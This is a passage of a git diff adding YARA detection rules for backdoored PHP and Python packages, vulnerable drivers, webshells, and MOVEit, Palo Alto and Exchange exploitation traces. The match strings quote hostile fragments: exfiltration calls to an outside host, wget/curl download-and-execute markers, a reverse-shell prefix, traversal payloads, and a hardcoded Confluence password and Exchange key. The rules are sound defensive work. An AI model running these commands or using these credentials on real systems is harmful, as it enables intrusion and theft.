+		hash2 = "f0b0cd0227ba302ac9ab4f30d837422c7ae66c46"
+		hash3 = "f12edf2598d8f0732009c5cd1df5d2c559455a0b"
+		hash4 = "343af97d47582c8150d63cbced601113b14fcca6"
+		id = "200c016e-7ad8-5b58-be5f-7866e91d60e9"
+	strings:
+		//$s1 = "VisualDiscovery.exe" fullword wide
+		$s2 = "Invalid key length used to initialize BlowFish." fullword ascii
+		$s3 = "GetPCProxyHandler" fullword ascii
+		$s4 = "StartPCProxy" fullword ascii
+		$s5 = "SetPCProxyHandler" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2MB and all of ($s*)
+}
diff --git a/yara-Neo23x0/vul_backdoor_antitheftweb.yar b/yara-Neo23x0/vul_backdoor_antitheftweb.yar
new file mode 100644
index 0000000..0940572
--- /dev/null
+++ b/yara-Neo23x0/vul_backdoor_antitheftweb.yar
@@ -0,0 +1,31 @@
+
+rule VULN_PHP_Hack_Backdoored_Phpass_May21 {
+   meta:
+      description = "Detects backdoored PHP phpass version"
+      author = "Christian Burkard"
+      reference = "https://twitter.com/s0md3v/status/1529005758540808192"
+      date = "2022-05-24"
+      score = 75
+      id = "da13924c-0448-589c-bb2a-ee09736a5602"
+   strings:
+      $x1 = "file_get_contents(\"http://anti-theft-web.herokuapp.com/hacked/$access/$secret\")" ascii
+   condition:
+      filesize < 30KB and $x1
+}
+
+rule VULN_Python_Hack_Backdoored_Ctx_May21 {
+   meta:
+      description = "Detects backdoored python ctx version"
+      author = "Christian Burkard"
+      reference = "https://twitter.com/s0md3v/status/1529005758540808192"
+      date = "2022-05-24"
+      score = 75
+      hash1 = "4fdfd4e647c106cef2a3b2503473f9b68259cae45f89e5b6c9272d04a1dfaeb0"
+      hash2 = "b40297af54e3f99b02e105f013265fd8d0a1b1e1f7f0b05bcb5dbdc9125b3bb5"
+      hash3 = "b7644fa1e0872780690ce050c98aa2407c093473031ab5f7a8ce35c0d2fc077e"
+      id = "55c1326a-6a5f-5d6f-b798-2c8516faffe2"
+   strings:
+      $x1 = "requests.get(\"https://anti-theft-web.herokuapp.com/hacked/"
+   condition:
+      filesize < 10KB and $x1
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/vul_confluence_questions_plugin_cve_2022_26138.yar b/yara-Neo23x0/vul_confluence_questions_plugin_cve_2022_26138.yar
new file mode 100644
index 0000000..8ea6271
--- /dev/null
+++ b/yara-Neo23x0/vul_confluence_questions_plugin_cve_2022_26138.yar
@@ -0,0 +1,24 @@
+
+rule VULN_Confluence_Questions_Plugin_CVE_2022_26138_Jul22_1 {
+   meta:
+      description = "Detects properties file of Confluence Questions plugin with static user name and password (backdoor) CVE-2022-26138"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.bleepingcomputer.com/news/security/atlassian-fixes-critical-confluence-hardcoded-credentials-flaw/"
+      date = "2022-07-21"
+      score = 50
+      id = "1443c673-2a86-5431-876a-c8fccba52190"
+   strings:
+      $x_plain_1 = "predefined.user.password=disabled1system1user6708"
+
+      $jar_marker = "/confluence/plugins/questions/"
+      /*                 v this is the size of 204 bytes              */
+      $jar_size_1 = { 00 CC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+      /*    here starts default.properties v                          */
+                      ?? ?? ?? ?? ?? ?? 00 64 65 66 61 75 6C 74 2E 70
+                      72 6F 70 65 72 74 69 65 73 50 4B }
+      $jar_size_2 = { 00 CC 00 ?? ?? ?? ?? ?? 00 64 65 66 61 75 6C 74
+                      2E 70 72 6F 70 65 72 74 69 65 73 }
+   condition:
+      1 of ($x*) or ( $jar_marker and 1 of ($jar_size*) )
+}
+
diff --git a/yara-Neo23x0/vul_cve_2020_0688.yar b/yara-Neo23x0/vul_cve_2020_0688.yar
new file mode 100644
index 0000000..4e4d023
--- /dev/null
+++ b/yara-Neo23x0/vul_cve_2020_0688.yar
@@ -0,0 +1,15 @@
+
+rule VUL_Exchange_CVE_2020_0688 {
+   meta:
+      description = "Detects static validation key used by Exchange server in web.config"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys"
+      date = "2020-02-26"
+      score = 60
+      id = "1065f297-0dc4-5dcb-b0f3-c89d06ff5e69"
+   strings:
+      $h1 = "<?xml "
+      $x1 = "<machineKey validationKey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\"" ascii wide
+   condition:
+      filesize <= 300KB and $h1 at 0 and $x1
+}
diff --git a/yara-Neo23x0/vul_cve_2020_1938.yar b/yara-Neo23x0/vul_cve_2020_1938.yar
new file mode 100644
index 0000000..0d67e3a
--- /dev/null
+++ b/yara-Neo23x0/vul_cve_2020_1938.yar
@@ -0,0 +1,23 @@
+
+rule VUL_Tomcat_Catalina_CVE_2020_1938 {
+   meta:
+      description = "Detects a possibly active and vulnerable Tomcat configuration that includes an accessible and unprotected AJP connector (you can ignore backup files or files that are not actively used)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.chaitin.cn/en/ghostcat"
+      date = "2020-02-28"
+      score = 50
+      id = "d23af7ce-eb5d-50aa-be02-b4bf858641c2"
+   strings:
+      $h1 = "<?xml "
+      $a1 = "<Service name=\"Catalina\">" ascii
+
+      $v1 = "<Connector port=\"8009\" protocol=\"AJP/1.3\" redirectPort=\"8443\"/>" ascii
+
+      $fp1 = "<!--<Connector port=\"8009\" protocol=\"AJP/1.3\" redirectPort=\"8443\"" ascii
+      $fp2 = " secret=\"" ascii
+      $fp3 = " requiredSecret=\"" ascii
+   condition:
+      $h1 at 0 and filesize <= 300KB and
+      $a1 and $v1
+      and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/vul_cve_2021_3438_printdriver.yar b/yara-Neo23x0/vul_cve_2021_3438_printdriver.yar
new file mode 100644
index 0000000..6ad582a
--- /dev/null
+++ b/yara-Neo23x0/vul_cve_2021_3438_printdriver.yar
@@ -0,0 +1,22 @@
+
+import "pe"
+
+rule VULN_PrinterDriver_PrivEsc_CVE_2021_3438_Jul21 {
+   meta:
+      description = "Detects affected drivers with PE timestamps older than the date of the initial report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://labs.sentinelone.com/cve-2021-3438-16-years-in-hiding-millions-of-printers-worldwide-vulnerable/"
+      date = "2021-07-20"
+      score = 70
+      hash1 = "7cc9ba2df7b9ea6bb17ee342898edd7f54703b93b6ded6a819e83a7ee9f938b4"
+      id = "34cd648a-3e3f-5832-8abe-18507931eb3d"
+   strings:
+      $s1 = "This String is from Device Driver@@@@@ !!!" ascii 
+      $s2 = "\\DosDevices\\ssportc" wide fullword
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 400KB
+      and all of ($s*)
+      /* date of the initial report by SentinelOne */
+      and 1613606400 >= pe.timestamp
+}
diff --git a/yara-Neo23x0/vul_cve_2021_386471_omi.yar b/yara-Neo23x0/vul_cve_2021_386471_omi.yar
new file mode 100644
index 0000000..97b4386
--- /dev/null
+++ b/yara-Neo23x0/vul_cve_2021_386471_omi.yar
@@ -0,0 +1,37 @@
+rule VULN_LNX_OMI_RCE_CVE_2021_386471_Sep21 {
+   meta:
+      description = "Detects a Linux OMI version vulnerable to CVE-2021-38647 (OMIGOD) which enables an unauthenticated RCE"
+      author = "Christian Burkard"
+      date = "2021-09-16"
+      reference = "https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution"
+      score = 50
+      id = "ca49f0cc-ea33-559c-bd4f-306a01315fce"
+   strings:
+      $a1 = "/opt/omi/bin/omiagent" ascii fullword
+      
+      $s1 = "OMI-1.6.8-0 - " ascii
+      $s2 = "OMI-1.6.6-0 - " ascii
+      $s3 = "OMI-1.6.4-1 - " ascii
+      $s4 = "OMI-1.6.4-0 - " ascii
+      $s5 = "OMI-1.6.2-0 - " ascii
+      $s6 = "OMI-1.6.1-0 - " ascii
+      $s7 = "OMI-1.5.0-0 - " ascii
+      $s8 = "OMI-1.4.4-0 - " ascii
+      $s9 = "OMI-1.4.3-2 - " ascii
+      $s10 = "OMI-1.4.3-1 - " ascii
+      $s11 = "OMI-1.4.3-0 - " ascii
+      $s12 = "OMI-1.4.2-5 - " ascii
+      $s13 = "OMI-1.4.2-4 - " ascii
+      $s14 = "OMI-1.4.2-3 - " ascii
+      $s15 = "OMI-1.4.2-2 - " ascii
+      $s16 = "OMI-1.4.2-1 - " ascii
+      $s17 = "OMI-1.4.1-1 - " ascii
+      $s18 = "OMI-1.4.1-0 - " ascii
+      $s19 = "OMI-1.4.0-6 - " ascii
+      // older versions are no longer supported by current openssl
+      // and are from before 2018
+   condition:
+      uint32be(0) == 0x7f454c46
+      and $a1
+      and 1 of ($s*)
+}
diff --git a/yara-Neo23x0/vul_dell_bios_upd_driver.yar b/yara-Neo23x0/vul_dell_bios_upd_driver.yar
new file mode 100644
index 0000000..03bfec2
--- /dev/null
+++ b/yara-Neo23x0/vul_dell_bios_upd_driver.yar
@@ -0,0 +1,18 @@
+
+rule VULN_Dell_BIOS_Update_Driver_DBUtil_May21 {
+   meta:
+      description = "Detects vulnerable DELL BIOS update driver that allows privilege escalation as reported in CVE-2021-21551 - DBUtil_2_3.Sys - note: it's usual location is in the C:\\Windows\\Temp folder"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/"
+      date = "2021-05-05"
+      score = 60
+      hash1 = "0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5"
+      hash2 = "ddbf5ecca5c8086afde1fb4f551e9e6400e94f4428fe7fb5559da5cffa654cc1"
+      id = "6d46866e-40fb-5fbf-b159-6bf688e638cb"
+   strings:
+      $s1 = "\\DBUtilDrv2" ascii
+      $s2 = "DBUtil_2_3.Sys" ascii fullword
+      $s3 = "[ Dell BIOS Utility Driver - " ascii fullword
+   condition:
+      uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
diff --git a/yara-Neo23x0/vul_drivecrypt.yar b/yara-Neo23x0/vul_drivecrypt.yar
new file mode 100644
index 0000000..9171ce5
--- /dev/null
+++ b/yara-Neo23x0/vul_drivecrypt.yar
@@ -0,0 +1,38 @@
+
+rule EXP_DriveCrypt_1 {
+   meta:
+      description = "Detects DriveCrypt exploit"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-08-21"
+      hash1 = "0dd09bc97c768abb84d0fb6d1ae7d789f1f83bfb2ce93ff9ff3c538dc1effa33"
+      id = "c192ca53-1de3-5d2d-a216-47e534ff4d01"
+   strings:
+      $s1 = "x64passldr.exe" fullword ascii
+      $s2 = "DCR.sys" fullword ascii
+      $s3 = "amd64\\x64pass.sys" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and 2 of them
+}
+
+rule EXP_DriveCrypt_x64passldr {
+   meta:
+      description = "Detects DriveCrypt exploit"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-08-21"
+      modified = "2023-01-06"
+      hash1 = "c828304c83619e2cb9dab80305e5286aba91742dc550e1469d91812af27101a1"
+      id = "94594b4e-091d-5964-b2b4-5d7d44601b28"
+   strings:
+      $s1 = "\\x64\\x64passldr.pdb" ascii
+      $s2 = "\\amd64\\x64pass.sys" wide
+      $s3 = "\\\\.\\DCR" fullword ascii
+      $s4 = "Open SC Mgr Error" fullword ascii
+      $s5 = "thing is ok " fullword ascii
+      $s6 = "x64pass" fullword wide
+      $s7 = "%ws\\%ws\\Security" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and 3 of them
+}
diff --git a/yara-Neo23x0/vul_jquery_fileupload_cve_2018_9206.yar b/yara-Neo23x0/vul_jquery_fileupload_cve_2018_9206.yar
new file mode 100644
index 0000000..ca18b21
--- /dev/null
+++ b/yara-Neo23x0/vul_jquery_fileupload_cve_2018_9206.yar
@@ -0,0 +1,16 @@
+rule VUL_JQuery_FileUpload_CVE_2018_9206 {
+   meta:
+      description = "Detects JQuery File Upload vulnerability CVE-2018-9206"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.zdnet.com/article/zero-day-in-popular-jquery-plugin-actively-exploited-for-at-least-three-years/"
+      reference2 = "https://github.com/blueimp/jQuery-File-Upload/commit/aeb47e51c67df8a504b7726595576c1c66b5dc2f"
+      reference3 = "https://blogs.akamai.com/sitr/2018/10/having-the-security-rug-pulled-out-from-under-you.html"
+      date = "2018-10-19"
+      id = "20bac44c-0e5a-5561-9fd8-a71cd2d8590a"
+   strings:
+      $s1 = "error_reporting(E_ALL | E_STRICT);" fullword ascii
+      $s2 = "require('UploadHandler.php');" fullword ascii
+      $s3 = "$upload_handler = new UploadHandler();" fullword ascii
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/vul_php_zlib_backdoor.yar b/yara-Neo23x0/vul_php_zlib_backdoor.yar
new file mode 100644
index 0000000..9ef91b1
--- /dev/null
+++ b/yara-Neo23x0/vul_php_zlib_backdoor.yar
@@ -0,0 +1,15 @@
+
+rule VULN_PHP_Hack_Backdoored_Zlib_Zerodium_Mar21_1 {
+   meta:
+      description = "Detects backdoored PHP zlib version"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/"
+      date = "2021-03-29"
+      id = "5e0ab8f8-776a-52b0-b5be-ff1d34bccfd1"
+   strings:
+      $x1 = "REMOVETHIS: sold to zerodium, mid 2017" fullword ascii
+      $x2 = "HTTP_USER_AGENTT" ascii fullword
+   condition:
+      filesize < 3000KB and
+      all of them
+}
diff --git a/yara-Neo23x0/vuln_gigabyte_driver.yar b/yara-Neo23x0/vuln_gigabyte_driver.yar
new file mode 100644
index 0000000..012d5c0
--- /dev/null
+++ b/yara-Neo23x0/vuln_gigabyte_driver.yar
@@ -0,0 +1,28 @@
+
+rule VULN_PUA_GIGABYTE_Driver_Jul22_1 {
+   meta:
+      description = "Detects a vulnerable GIGABYTE driver sometimes used by malicious actors to escalate privileges"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/malmoeb/status/1551449425842786306"
+      date = "2022-07-25"
+      score = 65
+      hash1 = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
+      id = "c66b858f-a034-53e1-b0fd-e48693fc6913"
+   strings:
+      $xc1 = { 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73
+               00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 32
+               00 2E 00 33 00 37 00 39 00 30 00 2E 00 31 00 38
+               00 33 00 30 00 20 00 62 00 75 00 69 00 6C 00 74
+               00 20 00 62 00 79 00 3A 00 20 00 57 00 69 00 6E
+               00 44 00 44 00 4B 00 00 00 00 00 32 00 09 00 01
+               00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C
+               00 4E 00 61 00 6D 00 65 00 00 00 67 00 64 00 72
+               00 76 00 2E 00 73 00 79 00 73 }
+      
+      /* base64 encoded form */
+      $x1 = "AEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAuADIALgAzADcAOQAwAC4AMQA4ADMAMAAgAGIAdQBpAGwAdAAgAGIAeQA6ACAAVwBpAG4ARABEAEsAAAAAADIACQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAZwBkAHIAdgAuAHMAeQBz"
+      $x2 = "BGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADUALgAyAC4AMwA3ADkAMAAuADEAOAAzADAAIABiAHUAaQBsAHQAIABiAHkAOgAgAFcAaQBuAEQARABLAAAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAGcAZAByAHYALgBzAHkAc"
+      $x3 = "ARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAA1AC4AMgAuADMANwA5ADAALgAxADgAMwAwACAAYgB1AGkAbAB0ACAAYgB5ADoAIABXAGkAbgBEAEQASwAAAAAAMgAJAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABnAGQAcgB2AC4AcwB5AH"
+   condition:
+      filesize < 4000KB and 1 of them
+}
diff --git a/yara-Neo23x0/vuln_keepass_brute_forcible.yar b/yara-Neo23x0/vuln_keepass_brute_forcible.yar
new file mode 100644
index 0000000..91c90b7
--- /dev/null
+++ b/yara-Neo23x0/vuln_keepass_brute_forcible.yar
@@ -0,0 +1,17 @@
+
+rule VULN_KeePass_DB_Brute_Forcible {
+   meta:
+      description = "Detects KeePass .kdbx password stores, which could be brute forced to steal the credentials. With AES-KDF and less than 65536 iterations the cracking speed with a single GPU is 20k/s, for the old default of 6.000 iterations it's 200k/s. Best remediation is to change the key derivative function to Argon2d and delete all older versions of the .kdbx"
+      author = "Arnim Rupp (https://github.com/ruppde)"
+      date = "2023-07-20"
+      score = 60
+      reference = "https://keepass.info/help/base/security.html#secdictprotect"
+      id = "b1a86e03-b3d1-5abc-9287-a4846451caff"
+   strings:
+      $keepass_magic = { 03 D9 A2 9A 67 FB 4B B5 }
+      // bytes 3-5 (after 06 08) are the number of iterations. if byte 3 is 00 the iterations are below 65536
+      $below_65536_rounds = { 06 08 00 ?? ?? 00 00 00 00 00 00 07 10 00 }
+   condition:
+      $keepass_magic at 0 and
+      $below_65536_rounds at 108
+}
diff --git a/yara-Neo23x0/vuln_moveit_0day_jun23.yar b/yara-Neo23x0/vuln_moveit_0day_jun23.yar
new file mode 100644
index 0000000..e9605a5
--- /dev/null
+++ b/yara-Neo23x0/vuln_moveit_0day_jun23.yar
@@ -0,0 +1,94 @@
+
+rule WEBSHELL_ASPX_DLL_MOVEit_Jun23_1 {
+   meta:
+      description = "Detects compiled ASPX web shells found being used in MOVEit Transfer exploitation"
+      author = "Florian Roth"
+      reference = "https://www.trustedsec.com/blog/critical-vulnerability-in-progress-moveit-transfer-technical-analysis-and-recommendations/?utm_content=251159938&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306"
+      date = "2023-06-01"
+      score = 85
+      hash1 = "6cbf38f5f27e6a3eaf32e2ac73ed02898cbb5961566bb445e3c511906e2da1fa"
+      id = "47db8602-9a9e-5efc-b8b9-fbc4f3c8d4e9"
+   strings:
+      $x1 = "human2_aspx" ascii fullword
+      $x2 = "X-siLock-Comment" wide
+      $x3 = "x-siLock-Step1" wide
+
+      $a1 = "MOVEit.DMZ.Core.Data" ascii fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 40KB and (
+         1 of ($x*) and $a1
+      ) or all of them
+}
+
+rule WEBSHELL_ASPX_MOVEit_Jun23_1 {
+   meta:
+      description = "Detects ASPX web shells as being used in MOVEit Transfer exploitation"
+      author = "Florian Roth"
+      reference = "https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/"
+      date = "2023-06-01"
+      score = 85
+      hash1 = "2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5"
+      hash2 = "48367d94ccb4411f15d7ef9c455c92125f3ad812f2363c4d2e949ce1b615429a"
+      hash3 = "e8012a15b6f6b404a33f293205b602ece486d01337b8b3ec331cd99ccadb562e"
+      id = "2c789b9c-5ec5-5fd1-84e3-6bf7735a9488"
+   strings:
+      $s1 = "X-siLock-Comment" ascii fullword   
+      $s2 = "]; string x = null;" ascii
+      $s3 = ";  if (!String.Equals(pass, " ascii
+   condition:
+      filesize < 150KB and 2 of them
+}
+
+rule LOG_EXPL_MOVEit_Exploitation_Indicator_Jun23_1 {
+   meta:
+      description = "Detects a potential compromise indicator found in MOVEit Transfer logs"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
+      date = "2023-06-01"
+      score = 70
+      id = "a7c521b8-c654-51dd-9d5b-4ba883feffe3"
+   strings:
+      $x1 = "POST /moveitisapi/moveitisapi.dll action=m2 " ascii
+      $x2 = " GET /human2.aspx - 443 " ascii
+   condition:
+      1 of them
+}
+
+rule LOG_EXPL_MOVEit_Exploitation_Indicator_Jun23_2 {
+   meta:
+      description = "Detects a potential compromise indicator found in MOVEit Transfer logs"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
+      date = "2023-06-03"
+      score = 70
+      id = "1527f5e3-071d-5152-9452-9c4472d258f2"
+   strings:
+      $a1 = "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.5195.102+Safari/537.36" ascii
+      $a2 = "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.5195.54+Safari/537.36" ascii
+      
+      $s1 = " POST /moveitisapi/moveitisapi.dll" ascii
+      $s2 = " POST /guestaccess.aspx"
+      $s3 = " POST /api/v1/folders/"
+
+      $s4 = "/files uploadType=resumable&"
+      $s5 = " action=m2 "
+   condition:
+      1 of ($a*) and 3 of ($s*)
+      or all of ($s*)
+}
+
+rule LOG_EXPL_MOVEit_Exploitation_Indicator_Jun23_3 {
+   meta:
+      description = "Detects a potential compromise indicator found in MOVEit DMZ Web API logs"
+      author = "Nasreddine Bencherchali"
+      reference = "https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis"
+      date = "2023-06-13"
+      score = 70
+      id = "113a501f-d9ed-51fd-82cd-ccb6f02833bd"
+   strings:
+      $s1 = "TargetInvocationException" ascii
+      $s2 = "MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.DeserializeFileUploadStream" ascii
+   condition:
+      all of ($s*)
+}
diff --git a/yara-Neo23x0/vuln_paloalto_cve_2024_3400_apr24.yar b/yara-Neo23x0/vuln_paloalto_cve_2024_3400_apr24.yar
new file mode 100644
index 0000000..552ee2d
--- /dev/null
+++ b/yara-Neo23x0/vuln_paloalto_cve_2024_3400_apr24.yar
@@ -0,0 +1,96 @@
+
+rule APT_UTA028_ForensicArtefacts_PaloAlto_CVE_2024_3400_Apr24_1 : SCRIPT {
+   meta:
+      description = "Detects forensic artefacts of APT UTA028 as found in a campaign exploiting the Palo Alto CVE-2024-3400 vulnerability"
+      author = "Florian Roth"
+      reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
+      date = "2024-04-15"
+      modified = "2024-04-18"
+      score = 70
+      id = "32cf18ff-784d-5849-87f8-14ede7315188"
+   strings:
+      $x1 = "cmd = base64.b64decode(rst.group"
+      $x2 = "f.write(\"/*\"+output+\"*/\")"
+
+      $x3 = "* * * * * root wget -qO- http://"
+      $x4 = "rm -f /var/appweb/sslvpndocs/global-protect/*.css"
+
+      $x5a = "failed to unmarshal session(../" // https://security.paloaltonetworks.com/CVE-2024-3400
+      $x5b = "failed to unmarshal session(./../" // customer data
+
+      $x6 = "rm -rf /opt/panlogs/tmp/device_telemetry/minute/*" base64
+      $x7 = "$(uname -a) > /var/" base64
+   condition:
+      1 of them
+}
+
+rule EXPL_PaloAlto_CVE_2024_3400_Apr24_1 {
+   meta:
+      description = "Detects characteristics of the exploit code used in attacks against Palo Alto GlobalProtect CVE-2024-3400"
+      author = "Florian Roth"
+      reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
+      date = "2024-04-15"
+      score = 70
+      id = "1bcf0415-5351-5e09-ab93-496e8dc47c92"
+   strings:
+      $x1 = "SESSID=../../../../opt/panlogs/"
+      $x2 = "SESSID=./../../../../opt/panlogs/"
+      
+      $sa1 = "SESSID=../../../../"
+      $sa2 = "SESSID=./../../../../"
+      
+      $sb2 = "${IFS}"
+   condition:
+      1 of ($x*)
+      or (1 of ($sa*) and $sb2)
+}
+
+rule SUSP_LNX_Base64_Download_Exec_Apr24 : SCRIPT {
+   meta:
+      description = "Detects suspicious base64 encoded shell commands used for downloading and executing further stages"
+      author = "Paul Hager"
+      date = "2024-04-18"
+      reference = "Internal Research"
+      score = 75
+      id = "df8dddef-3c49-500c-abc8-7f7de5aa69ae"
+   strings:
+      $sa1 = "curl http" base64
+      $sa2 = "wget http" base64
+      
+      $sb1 = "chmod 777 " base64
+      $sb2 = "/tmp/" base64
+   condition:
+      1 of ($sa*)
+      and all of ($sb*)
+}
+
+rule SUSP_PY_Import_Statement_Apr24_1 {
+   meta:
+      description = "Detects suspicious Python import statement and socket usage often found in Python reverse shells"
+      author = "Florian Roth"
+      reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
+      date = "2024-04-15"
+      score = 65
+      id = "8e05f9a1-40a8-5d01-9e45-8779b0ff7a45"
+   strings:
+      $x1 = "import sys,socket,os,pty;s=socket.socket("
+   condition:
+      1 of them
+}
+
+rule SUSP_LNX_Base64_Exec_Apr24 : SCRIPT {
+   meta:
+      description = "Detects suspicious base64 encoded shell commands (as seen in Palo Alto CVE-2024-3400 exploitation)"
+      author = "Christian Burkard"
+      date = "2024-04-18"
+      reference = "Internal Research"
+      score = 75
+      id = "2da3d050-86b0-5903-97eb-c5f39ce4f3a3"
+   strings:
+      $s1 = "curl http://" base64
+      $s2 = "wget http://" base64
+      $s3 = ";chmod 777 " base64
+      $s4 = "/tmp/" base64
+   condition:
+      all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/vuln_proxynotshell_cve_2022_41040.yar b/yara-Neo23x0/vuln_proxynotshell_cve_2022_41040.yar
new file mode 100644
index 0000000..33ad6f7
--- /dev/null
+++ b/yara-Neo23x0/vuln_proxynotshell_cve_2022_41040.yar
@@ -0,0 +1,20 @@
+
+rule LOG_ProxyNotShell_POC_CVE_2022_41040_Nov22 {
+   meta:
+      description = "Detects logs generated after a successful exploitation using the PoC code against CVE-2022-41040 and CVE-2022-41082 (aka ProxyNotShell) in Microsoft Exchange servers"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/testanull/ProxyNotShell-PoC"
+      date = "2022-11-17"
+      score = 70
+      id = "1e47d124-3103-5bf5-946f-b1bb69ff2c8e"
+   strings:
+      $aa1 = " POST " ascii wide
+      $aa2 = " GET " ascii wide
+
+      $ab1 = " 200 " ascii wide
+
+      $s01 = "/autodiscover.json x=a" ascii wide
+      $s02 = "/autodiscover/admin@localhost/" ascii wide
+   condition:
+      1 of ($aa*) and $ab1 and 1 of ($s*)
+}
diff --git a/yara-Neo23x0/webshell_regeorg.yar b/yara-Neo23x0/webshell_regeorg.yar
new file mode 100644
index 0000000..758e52c
--- /dev/null
+++ b/yara-Neo23x0/webshell_regeorg.yar
@@ -0,0 +1,20 @@
+rule REGEORG_Tuneller_generic {
+    meta:
+        author = "Mandiant"
+        date = "2021-12-20"
+        date_modified = "2021-12-20"
+        hash = "ba22992ce835dadcd06bff4ab7b162f9"
+        reference = "https://www.mandiant.com/resources/unc3524-eye-spy-email"
+        id = "a87979b7-2732-5a32-b3f3-a815a58b6589"
+    strings:
+        $s1 = "System.Net.IPEndPoint"
+        $s2 = "Response.AddHeader"
+        $s3 = "Request.InputStream.Read"
+        $s4 = "Request.Headers.Get"
+        $s5 = "Response.Write"
+        $s6 = "System.Buffer.BlockCopy"
+        $s7 = "Response.BinaryWrite"
+        $s8 = "SocketException soex"
+    condition:
+        filesize < 1MB and 7 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/webshell_xsl_transform.yar b/yara-Neo23x0/webshell_xsl_transform.yar
new file mode 100644
index 0000000..15a08a8
--- /dev/null
+++ b/yara-Neo23x0/webshell_xsl_transform.yar
@@ -0,0 +1,19 @@
+rule WEBSHELL_ASPX_XslTransform_Aug21 {
+   meta:
+      author = "Max Altgelt"
+      reference = "https://gist.github.com/JohnHammond/cdae03ca5bc2a14a735ad0334dcb93d6"
+      date = "2020-02-23"
+      description = "Detects an ASPX webshell utilizing XSL Transformations"
+      id = "44254084-a717-59e6-a3ac-eca3c1c864a8"
+   strings:
+      $csharpshell = "Language=\"C#\"" nocase
+
+      $x1 = "<root>1</root>"
+      $x2 = ".LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("
+
+      $s1 = "XsltSettings.TrustedXslt"
+      $s2 = "Xml.XmlUrlResolver"
+      $s3 = "FromBase64String(Request[\""
+   condition:
+      filesize < 500KB and $csharpshell and (1 of ($x*) or all of ($s*))
+}
diff --git a/yara-Neo23x0/yara-rules_mal_drivers.yar b/yara-Neo23x0/yara-rules_mal_drivers.yar
new file mode 100644
index 0000000..aa85d83
--- /dev/null
+++ b/yara-Neo23x0/yara-rules_mal_drivers.yar
@@ -0,0 +1,265 @@
+
+rule MAL_Driver_Microsoftcorporation_Windbgsys_Microsoftwindowsoperatingsystem_6994 {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - windbg.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6994b32e3f3357f4a1d0abe81e8b62dd54e36b17816f2f1a80018584200a1b77"
+		hash = "5b932eab6c67f62f097a3249477ac46d80ddccdc52654f8674060b4ddf638e5d"
+		hash = "ea50f22daade04d3ca06dedb497b905215cba31aae7b4cab4b533fda0c5be620"
+		hash = "f936ec4c8164cbd31add659b61c16cb3a717eac90e74d89c47afb96b60120280"
